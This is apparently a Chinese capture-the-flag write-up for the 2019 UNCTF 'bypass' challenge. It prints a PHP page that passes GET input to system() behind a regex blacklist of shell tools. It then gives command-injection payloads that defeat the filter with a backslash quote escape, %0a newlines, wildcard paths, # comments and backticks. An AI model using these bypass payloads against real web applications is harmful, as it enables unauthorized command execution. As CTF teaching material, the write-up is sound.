Life has its own fate, and meeting may not be accidental.

0%

2019UNCTF bypass

rce,正则匹配特点,文件通配符,命令换行,命令注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>

预期解

正则中有一段

\\|

会将|进行转义,这是因为在preg_match中,三个反斜杠\\才能匹配一个真正意义上的字符反斜杠\,所以这里因为正则的匹配机制造成了反引号逃逸。

传入a,b后会再前后加上双引号,所以我们可以利用 \ 给a后面的”进行转义,然后让前面的”匹配b前面的,然后利用%0a,来造成命令换行,利用#号来进行命令终结。

实质上还是因为正则\匹配不到\的问题再结合linux的命令终止符%20#处理双引号.

最终的payload为:

?a=\&b=%0a/???/gr?p -r ctf %23 %23='#' 或?a=\&b=%0a/???/gr[d-f]p+-r+.+%23

我的思路是因为正则匹配禁用了bin,所以估计实在bin目录下

非预期解

这边正则没有过滤 ``反引号间的内容,会被shell先执行。其输出被放入主命令后,主命令再被执行。

dir列目录

?a=`dir%20/

试试grep查找flag

?a=`/???/gr?p -r ctf